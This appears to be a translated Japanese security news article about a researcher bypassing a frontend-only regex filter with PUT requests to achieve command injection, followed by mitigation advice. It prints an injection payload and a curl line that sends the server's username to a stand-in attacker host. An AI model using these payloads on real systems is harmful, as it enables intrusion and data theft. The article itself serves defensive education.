Regex Filter の脆弱性：正規表現に対するバックエンド再検証が不可欠な理由とは？

Researcher Exploits Regex Filter Flaw to Gain Remote Code Execution

2025/05/06 gbhackers — フロントエンドの正規表現フィルタ（/^[a-zA-Z0-9]{1,20}$/）により制限されるユーザー名フィールドが、対象となるアプリケーションには含まれており、英数字だけを受け入れるように設計されていた。当初、この方式は堅牢に見えたが、正規表現チェック後に、バックエンドが入力を再検証していないことを、研究者たちが発見した。この見落としにより、特別に細工されたペイロードがクライアント側の制御をバイパスし、サーバ上で任意のコマンドを実行できる状態になっていた。

このエクスプロイトのコアは、バックエンドがフロントエンドの検証を信頼していたところにある。正規表現ルールを適用するクライアント側の JavaScript とは異なり、サーバ側では、生の入力を追加のサニタイズなしで処理していたことになる。

研究者たちは、「正規表現はツールであり、ファイアウォールではない。このような不適切な設定は、セキュリティ・ロジックが複数のレイヤーに分散しているアプリケーションで、よく見られるものだ」と指摘している。

代替 HTTP メソッドの活用

研究者たちが、代替 HTTP メソッドをテストしたときに、その突破口が開かれた。フロントエンド・フォームは、厳格な正規表現チェックを伴う POST リクエストを使用していたが、バックエンド API は同じエンドポイントに対する PUT リクエストを、検証なしで受け入れていた。

研究者たちは、細工した PUT ペイロード (username=;id;) を送信することで、id コマンドの出力からコマンド・インジェクションを確認した。

さらにテストを進めると、帯域外 (OOB) データ窃取へと、問題はエスカレートした。

bashusername=;curl http://attacker-controlled.com/$(whoami);

このペイロードは、研究者のサーバへのコールバックをトリガーするものであり、サーバ上のアクティブなユーザー・アカウントを明らかにした。

その環境では、WAF を使用していなかったことで、攻撃は検知されずに続行され、不完全な多層防御戦略のリスクが浮き彫りになった。

セキュリティへの影響

この脆弱性の根本原因である、クライアントとサーバにおける検証の不一致は、広範囲にわたるアーキテクチャ上の欠陥を露呈している。

開発者は、フロントエンド・フィルタが入力を十分にサニタイズすると想定し、バックエンドの再検証を怠ってしまうことがよくある。この見落としにより、AP Iエンドポイント／代替 HTTP メソッド／エンコードされたペイロードを悪用する機会が、攻撃者に提供されてしまう。

このようなリスクを軽減するために、組織にとって必要なことは、以下の対策である：

  1. クライアント側にチェックが存在する場合でも、ホワイト・リストを使用して、サーバ側で入力を検証する。
  2. 出力をサニタイズし、潜在的なインジェクション文字 (例：”;”／”&”）を無効化する。
  3. API エンドポイントにおいて、異常な HTTP メソッドやパラメータの改ざんを監視する。
  4. WAF を実装し、OOB ペイロードやコマンド実行パターンを検出してブロックする。

さらに研究者たちは、「検証されていないエンドポイントを、多くの API が意図せず公開してしまうため、侵入テスト中に HTTP メソッド全体において、すべてのパラメータをファジングすることを推奨する」と述べている。

この事例が改めて示すのは、単一の防御層ではセキュリティが保証されないことである。アプリケーションの複雑さが増すにつれて、RCE 攻撃を阻止するには、厳格なサーバー側検証と、包括的な監視が依然として不可欠である。

開発者への、教訓は明らかである。クライアント側の正規表現を、セキュリティ制御ではなく、ユーザビリティ機能として扱うべきである。

あるセキュリティ研究者が、正規表現フィルタである Regex の設計の不備を悪用して RCE (リモート・コード実行) に成功したという、興味深い記事です。多重防御とゼロトラストの考え方が必要ですね。よろしければ、この研究者によるレポートも、ご参照ください。